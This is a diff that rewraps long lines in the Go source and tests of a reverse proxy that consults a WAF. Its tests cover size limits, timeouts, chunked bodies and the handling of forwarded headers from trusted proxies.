routewatch.NoAnswerYet,
)
}
f.waitFor(routewatch.RequestFailed)
@@ -412,8 +437,14 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
f.client.Load([]routewatch.Answer{kept, stale})
if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
if got := f.client.Snapshot(); !slices.Equal(
got,
[]routewatch.Answer{kept},
) {
t.Errorf(
"kept %+v, want only the answer that came less than an hour ago",
got,
)
}
route, missing := f.route()
@@ -424,7 +455,10 @@ func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
}
if got := f.queries.Load(); got != 0 {
t.Errorf("%d queries for a client with an answer loaded, want none", got)
t.Errorf(
"%d queries for a client with an answer loaded, want none",
got,
)
}
}
@@ -458,7 +492,12 @@ func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
}
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
t.Errorf(
"answers kept from %s to %s, want from %s to %s",
got[0].Client,
got[maxAnswers-1].Client,
answers[0].Client,
answers[maxAnswers-1].Client,
)
}
}
+4 -2
View File
@@ -203,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) {
w.status = http.StatusOK
}
n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
//nolint:gosec // the answer, as it was given
n, err := w.ResponseWriter.Write(p)
w.bytes += int64(n)
return n, err
@@ -218,7 +219,8 @@ func (w *responseWriter) FlushError() error {
// Hijack takes over the connection to the visitor, which ReverseProxy does only
// to pass on the app's 101 Switching Protocols: that is then the status sent.
func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
conn, buffered, err := http.NewResponseController(w.ResponseWriter).
Hijack()
if err == nil {
w.status = http.StatusSwitchingProtocols
}
+5 -1
View File
@@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
// X-Forwarded-For. Those of any other peer are its own claims and are replaced:
// X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
// X-Forwarded-Proto plain http, which is how it reached rproxy.
func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
func setForwardedHeaders(
in, out *http.Request,
peer netip.Addr,
trusted bool,
) {
forwardedFor := peer.String()
if trusted {
+256 -80
View File
@@ -34,13 +34,15 @@ func announcedLength(size int) string {
func TestServerHasTheFixedLimits(t *testing.T) {
t.Parallel()
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
if name == "SWRP_WAF_BACKEND" {
return nowhere, true
}
cfg, err := config.RProxyFromEnvironment(
func(name string) (string, bool) {
if name == "SWRP_WAF_BACKEND" {
return nowhere, true
}
return "", false
})
return "", false
},
)
if err != nil {
t.Fatalf("settings: %v", err)
}
@@ -48,14 +50,23 @@ func TestServerHasTheFixedLimits(t *testing.T) {
server := rproxy.New(rproxy.Params{
Config: cfg,
RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
ProcessLog: requestlog.NewProcessLogger(
io.Discard,
"test",
slog.LevelInfo,
),
})
if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
t.Errorf("server listens on %q with header limit %d, idle time %s and "+
"header timeout %s", server.Addr, server.MaxHeaderBytes,
server.IdleTimeout, server.ReadHeaderTimeout)
t.Errorf(
"server listens on %q with header limit %d, idle time %s and "+
"header timeout %s",
server.Addr,
server.MaxHeaderBytes,
server.IdleTimeout,
server.ReadHeaderTimeout,
)
}
}
@@ -76,9 +87,14 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestSize: tc.limit,
})
addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
maxRequestSize: tc.limit,
},
)
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
bytes.NewReader(make([]byte, tc.size))))
@@ -87,7 +103,11 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
}
if asked := standIn.question(t); len(asked.body) != tc.asked {
t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
t.Errorf(
"the question carries %d bytes, want %d",
len(asked.body),
tc.asked,
)
}
report := standIn.report(t)
@@ -138,13 +158,21 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
asked.Store(true)
greet(w, r)
})
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestSize: tc.limit,
})
addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
maxRequestSize: tc.limit,
},
)
conn := dial(t, addr)
send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
strconv.FormatInt(
int64(tc.size),
16,
)+"\r\n"+strings.Repeat("x", tc.size)+
"\r\n0\r\n\r\n")
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
@@ -203,17 +231,26 @@ func TestAResponseOverItsLimit(t *testing.T) {
text, err := io.ReadAll(conn)
if err != nil || bytes.Contains(text, []byte(large)) {
t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
t.Errorf(
"read %d bytes (%v), want the answer cut off",
len(text),
err,
)
}
report := standIn.report(t)
if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
t.Errorf(
"report %+v, want status 200 and at most 1K of the answer",
report,
)
}
})
}
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
t *testing.T,
) {
t.Parallel()
const announced = "2048"
@@ -227,8 +264,13 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
})
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
if got.status != http.StatusOK ||
got.header.Get(contentLengthHeader) != announced {
t.Errorf(
"answered %+v, want the app's 200 announcing %s bytes",
got,
announced,
)
}
}
@@ -243,14 +285,22 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
standIn := startWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
setting: "off",
})
addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
setting: "off",
},
)
// A body and an answer that a limit of zero would cut off, as it would the
// next answer, which rproxy gives itself.
wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
strings.NewReader("a body"))))
wantGreeting(
t,
visit(t, newRequest(t, http.MethodPost, addr, "/",
strings.NewReader("a body"))),
)
if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
t.Errorf("answered %+v, want rproxy's own 200", got)
@@ -273,9 +323,14 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
standIn := startWAF(t, allow)
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "500",
})
addr, out := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
maxRequestTime: "500",
},
)
conn := dial(t, addr)
send(t, conn, post+tc.rest)
@@ -319,7 +374,9 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
}
}
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
@@ -356,8 +413,11 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf("read %q (%v), want the connection closed without an answer",
text, err)
t.Errorf(
"read %q (%v), want the connection closed without an answer",
text,
err,
)
}
line := out.requestLine(t)
@@ -402,7 +462,8 @@ func (w *deadlineRecorder) FlushError() error {
func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
w.readDeadline = deadline
if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
if w.stalled != nil && !deadline.IsZero() &&
!deadline.After(time.Now()) {
_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
}
@@ -439,12 +500,22 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodPost,
"/",
io.MultiReader(
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
stalled,
),
)
req.ContentLength = announced
req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
w := &deadlineRecorder{
ResponseRecorder: httptest.NewRecorder(),
stalled: stop,
}
before := time.Now()
@@ -456,12 +527,17 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
if w.readDeadline.Before(before.Add(limit)) ||
w.readDeadline.After(time.Now().Add(limit)) {
t.Errorf("the reading of the body ends at %s, want %s from the request",
w.readDeadline, limit)
t.Errorf(
"the reading of the body ends at %s, want %s from the request",
w.readDeadline,
limit,
)
}
}
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, allow)
@@ -473,8 +549,15 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing
t.Cleanup(func() { _ = stop.Close() })
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodPost,
"/",
io.MultiReader(
bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
stalled,
),
)
req.ContentLength = 2 * questionBodyMaxBytes
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
@@ -496,7 +579,10 @@ func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing
}
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
t.Errorf(
"the reading of the body ends at %s, want now",
w.readDeadline,
)
}
}
@@ -517,12 +603,24 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
standIn := startWAF(t, deny)
app := startApp(t, greet)
_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
_, _, server := startServer(
t,
standIn.URL,
app.URL,
map[string]string{
maxResponseTime: strconv.FormatInt(
limit.Milliseconds(),
10,
),
},
)
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
http.NoBody)
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
tc.target,
http.NoBody,
)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now()
@@ -535,14 +633,19 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
if w.writeDeadline.Before(before.Add(limit)) ||
w.writeDeadline.After(time.Now().Add(limit)) {
t.Errorf("the time limit on sending ends at %s, want %s from the answer",
w.writeDeadline, limit)
t.Errorf(
"the time limit on sending ends at %s, want %s from the answer",
w.writeDeadline,
limit,
)
}
})
}
}
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
t *testing.T,
) {
t.Parallel()
const least = 10 * time.Second
@@ -553,7 +656,12 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
maxResponseTime: "300",
})
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
before := time.Now()
@@ -561,8 +669,11 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
server.Handler.ServeHTTP(w, req)
if w.writeDeadline.Before(before.Add(least)) {
t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
w.writeDeadline, least)
t.Errorf(
"the time limit on sending ends at %s, want %s from the answer at least",
w.writeDeadline,
least,
)
}
}
@@ -583,7 +694,9 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
t.Errorf("status %d, want 408", status)
}
if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
if asked := standIn.question(t); len(
asked.body,
) != questionBodyMaxBytes {
t.Errorf("the question carries %d bytes", len(asked.body))
}
@@ -597,7 +710,11 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
func startAppThatTakesNothing(t *testing.T) string {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
listener, err := (&net.ListenConfig{}).Listen(
t.Context(),
"tcp",
localhost+":0",
)
if err != nil {
t.Fatalf("listen: %v", err)
}
@@ -686,7 +803,9 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
}
}
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
t *testing.T,
) {
t.Parallel()
// Four visitors at a time, each with an app and rproxy of its own, send more
@@ -785,8 +904,13 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
if res.StatusCode != http.StatusOK || string(body) != start ||
!errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
res.StatusCode, body, err, start)
t.Errorf(
"answered %d %q (%v), want the app's 200 %q, then the connection closed",
res.StatusCode,
body,
err,
start,
)
}
if report := standIn.report(t); report.Status != http.StatusOK {
@@ -827,13 +951,17 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
line := out.requestLine(t)
responseBytes, _ := line["response_bytes"].(float64)
if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
if line["status"] != float64(http.StatusOK) ||
responseBytes >= bodySize {
t.Errorf("line %v, want status 200 and the answer cut off", line)
}
report := standIn.report(t)
if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
t.Errorf("report %+v, want status 200 and the answer cut off", report)
t.Errorf(
"report %+v, want status 200 and the answer cut off",
report,
)
}
}
@@ -853,7 +981,9 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
}
}
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(
t *testing.T,
) {
t.Parallel()
standIn := startWAF(t, allow)
@@ -937,7 +1067,9 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
wantGreeting(t, readAnswer(t, conn))
}
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
t *testing.T,
) {
t.Parallel()
const limit = 2 * time.Second
@@ -961,7 +1093,11 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.
}
if closed := time.Since(start); closed < limit {
t.Errorf("the connection closed after %s, want %s at least", closed, limit)
t.Errorf(
"the connection closed after %s, want %s at least",
closed,
limit,
)
}
}
@@ -992,7 +1128,8 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
rc := http.NewResponseController(w)
_ = rc.EnableFullDuplex()
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
w.Header().
Set(contentLengthHeader, strconv.Itoa(len(greeting)))
for _, part := range tc.atOnce {
_, _ = io.WriteString(w, part)
@@ -1010,10 +1147,18 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
})
// The request time limit is far longer than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "120000",
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
})
addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
maxRequestTime: "120000",
maxResponseTime: strconv.FormatInt(
limit.Milliseconds(),
10,
),
},
)
conn := dial(t, addr)
sendAllButALittle(t, conn)
@@ -1030,7 +1175,12 @@ func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOf
want := strings.Join(tc.atOnce, "")
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
t.Errorf(
"read %q (%v), want %q and the connection closed",
body,
err,
want,
)
}
})
}
@@ -1068,7 +1218,11 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
text, err := io.ReadAll(conn)
if err != nil || len(text) != 0 {
t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
t.Errorf(
"read %q (%v), want the connection closed without an answer",
text,
err,
)
}
if line := out.requestLine(t); line["status"] != 0.0 {
@@ -1076,7 +1230,9 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
}
}
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
t *testing.T,
) {
t.Parallel()
const answer = "the end of a long answer"
@@ -1094,13 +1250,28 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
maxRequestTime: "2000",
})
got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
got := visit(
t,
newRequest(
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
),
)
if got.status != http.StatusOK || got.body != answer {
t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
t.Errorf(
"answered %d %q, want the app's whole answer",
got.status,
got.body,
)
}
}
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
t *testing.T,
) {
t.Parallel()
for _, tc := range []struct {
@@ -1121,10 +1292,15 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T
app := startApp(t, greet)
// The request time limit is longer than the 10 seconds an answer rproxy
// gives itself has to be sent, and than dial's deadline.
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
maxRequestTime: "15000",
maxResponseTime: "300",
})
addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
maxRequestTime: "15000",
maxResponseTime: "300",
},
)
// The body stops 100 bytes short, less than Go's server reads of a body
// left unread before it answers.
+102 -31
View File
@@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
asked := standIn.question(t)
if asked.method != http.MethodDelete || asked.target != target ||
asked.host != site {
t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
t.Errorf(
"asked about %s %s at %s",
asked.method,
asked.target,
asked.host,
)
}
if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -72,7 +77,11 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
want.Set(waf.PeerHeader, localhost)
if !maps.EqualFunc(asked.header, want, slices.Equal) {
t.Errorf("the question's headers are %v, want %v", asked.header, want)
t.Errorf(
"the question's headers are %v, want %v",
asked.header,
want,
)
}
}
@@ -100,9 +109,14 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
greet(w, r)
})
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
trustedProxies: tc.trusted,
})
addr, out := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
trustedProxies: tc.trusted,
},
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedForHeader, visitor)
@@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
}
if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
t.Errorf(
"the app saw %s %q, want %q",
forwardedForHeader,
got,
tc.forwarded,
)
}
})
}
@@ -159,9 +178,14 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
standIn := startWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8",
})
addr, _ := startRProxy(
t,
standIn.URL,
app.URL,
map[string]string{
trustedProxies: localhost + "/32,10.0.0.0/8",
},
)
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header[forwardedForHeader] = tc.header
@@ -200,15 +224,24 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
body := randomBytes(size)
standIn := startWAF(t, allow)
received := make(chan []byte, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
whole, _ := io.ReadAll(r.Body)
received <- whole
app := startApp(
t,
func(w http.ResponseWriter, r *http.Request) {
whole, _ := io.ReadAll(r.Body)
received <- whole
greet(w, r)
})
greet(w, r)
},
)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
req := newRequest(t, http.MethodPost, addr, "/", bytes.NewReader(body))
req := newRequest(
t,
http.MethodPost,
addr,
"/",
bytes.NewReader(body),
)
if !announced {
// Go's client sends a body of unknown length in chunks.
req.ContentLength = -1
@@ -224,7 +257,9 @@ func TestFirst64KiBReachWAFAndTheWholeBodyTheApp(t *testing.T) {
t.Error("the app did not get the whole body")
}
if report := standIn.report(t); report.RequestBytes != int64(size) {
if report := standIn.report(t); report.RequestBytes != int64(
size,
) {
t.Errorf("report %+v, of %d bytes", report, size)
}
})
@@ -240,8 +275,11 @@ func wantQuestionBody(
t.Helper()
if !bytes.Equal(asked.body, want) {
t.Errorf("the question carries %d bytes, want the first %d", len(asked.body),
len(want))
t.Errorf(
"the question carries %d bytes, want the first %d",
len(asked.body),
len(want),
)
}
values := asked.header.Values(waf.ContentLengthHeader)
@@ -256,9 +294,13 @@ func wantQuestionBody(
return
}
if len(values) != 0 || !slices.Equal(asked.transferEncoding, []string{chunked}) {
t.Errorf("announced %v and encoded %v, want none and chunked", values,
asked.transferEncoding)
if len(values) != 0 ||
!slices.Equal(asked.transferEncoding, []string{chunked}) {
t.Errorf(
"announced %v and encoded %v, want none and chunked",
values,
asked.transferEncoding,
)
}
}
@@ -311,7 +353,11 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
conn := dial(t, addr)
send(t, conn, method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing)
send(
t,
conn,
method+" /x HTTP/1.1\r\nHost: site.example\r\n"+tc.framing,
)
if status := readStatus(t, conn); status != http.StatusForbidden {
t.Errorf("status %d, want waf's 403", status)
@@ -320,8 +366,13 @@ func TestAQuestionCarriesItsBodyWhateverTheMethod(t *testing.T) {
asked := standIn.question(t)
if string(asked.body) != tc.body ||
!slices.Equal(asked.transferEncoding, tc.encoding) {
t.Errorf("the question carries %q, encoded %v, want %q, encoded %v",
asked.body, asked.transferEncoding, tc.body, tc.encoding)
t.Errorf(
"the question carries %q, encoded %v, want %q, encoded %v",
asked.body,
asked.transferEncoding,
tc.body,
tc.encoding,
)
}
})
}
@@ -343,10 +394,15 @@ func TestAMethodNotPassedOnIsAnswered405(t *testing.T) {
got := visit(t, newRequest(t, method, addr, "/", http.NoBody))
if got.status != http.StatusMethodNotAllowed ||
got.header.Get("Allow") != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
got.header.Get(
"Allow",
) != "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, "+
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, "+
"MKCALENDAR" {
t.Errorf("answered %+v, want 405 naming the methods passed on", got)
t.Errorf(
"answered %+v, want 405 naming the methods passed on",
got,
)
}
line := out.requestLine(t)
@@ -483,7 +539,12 @@ func TestATrustedPeerWithNoForwardedProtoIsAskedAboutAsHTTP(t *testing.T) {
asked := standIn.question(t)
if got := asked.header.Get(forwardedProtoHeader); got != want {
t.Errorf("the question's %s is %q, want %s", forwardedProtoHeader, got, want)
t.Errorf(
"the question's %s is %q, want %s",
forwardedProtoHeader,
got,
want,
)
}
}
@@ -504,11 +565,21 @@ func TestAQuestionNamesNoZone(t *testing.T) {
standIn := startWAF(t, deny)
app := startApp(t, greet)
_, out, server := startServer(t, standIn.URL, app.URL, map[string]string{
trustedProxies: localhost + "/32",
})
_, out, server := startServer(
t,
standIn.URL,
app.URL,
map[string]string{
trustedProxies: localhost + "/32",
},
)
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
"/",
http.NoBody,
)
req.RemoteAddr = tc.remoteAddr
req.Header.Set(forwardedForHeader, tc.forwardedFor)
+69 -32
View File
@@ -96,24 +96,34 @@ type request struct {
// newRequest starts handling r: it notes the time, works out the visitor from
// the TCP peer and X-Forwarded-For, and makes the request's id.
func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request {
func (h *handler) newRequest(
w http.ResponseWriter,
r *http.Request,
) *request {
peer := peerAddress(r)
trusted := h.config.TrustedProxies
rq := &request{
h: h,
in: r,
rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w},
id: rand.Text(),
client: clientAddress(peer, r.Header.Values("X-Forwarded-For"), trusted),
h: h,
in: r,
rc: http.NewResponseController(w),
out: &responseWriter{ResponseWriter: w},
id: rand.Text(),
client: clientAddress(
peer,
r.Header.Values("X-Forwarded-For"),
trusted,
),
peer: peer,
peerTrusted: isInside(peer, trusted),
start: time.Now(),
}
if r.Body != http.NoBody {
rq.body = &requestBody{body: limitBody(r.Body, h.config.MaxRequestSize), rq: rq}
rq.body = &requestBody{
body: limitBody(r.Body, h.config.MaxRequestSize),
rq: rq,
}
}
return rq
@@ -138,7 +148,9 @@ func (rq *request) readFirstPartOfBody() bool {
}
_ = rq.rc.SetReadDeadline(rq.requestDeadline())
held, err := io.ReadAll(io.LimitReader(rq.body, waf.QuestionBodyMaxBytes))
held, err := io.ReadAll(
io.LimitReader(rq.body, waf.QuestionBodyMaxBytes),
)
// From here on, the request timer ends a read of the rest of the body, so that
// the answer can name the side rproxy was waiting on.
_ = rq.rc.SetReadDeadline(time.Time{})
@@ -257,7 +269,8 @@ func (rq *request) modifyResponse(res *http.Response) error {
}
maxBytes := rq.h.config.MaxResponseSize
if maxBytes > 0 && res.Body != http.NoBody && res.ContentLength > maxBytes {
if maxBytes > 0 && res.Body != http.NoBody &&
res.ContentLength > maxBytes {
rq.refuse(http.StatusBadGateway)
return errResponseTooLarge
@@ -284,7 +297,11 @@ func (rq *request) modifyResponse(res *http.Response) error {
// answerError is ReverseProxy's ErrorHandler: the request could not be passed to
// the app, or the app's answer cannot be passed on.
func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error) {
func (rq *request) answerError(
_ http.ResponseWriter,
_ *http.Request,
err error,
) {
if rq.upgraded != nil {
// The app switched protocols, but the switch was not passed on, and
// ReverseProxy leaves the app's connection open when it refuses it.
@@ -300,7 +317,11 @@ func (rq *request) answerError(_ http.ResponseWriter, _ *http.Request, err error
panic(http.ErrAbortHandler)
}
rq.h.processLog.Warn("request to the app failed", "error", err.Error())
rq.h.processLog.Warn(
"request to the app failed",
"error",
err.Error(),
)
status = http.StatusBadGateway
}
@@ -411,24 +432,33 @@ func (rq *request) finish(ctx context.Context) {
end := time.Now()
requestBytes, responseBytes := rq.bytesEachWay()
err := requestlog.WriteRProxyLine(rq.h.requestLog, &requestlog.RProxyLine{
Time: requestlog.FormatTime(rq.start),
RequestID: rq.id,
ClientIP: rq.client.String(),
Host: rq.in.Host,
Method: rq.in.Method,
Path: rules.Path(rq.in),
Query: rq.in.URL.RawQuery,
Status: rq.out.status,
RequestBytes: requestBytes,
ResponseBytes: responseBytes,
DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
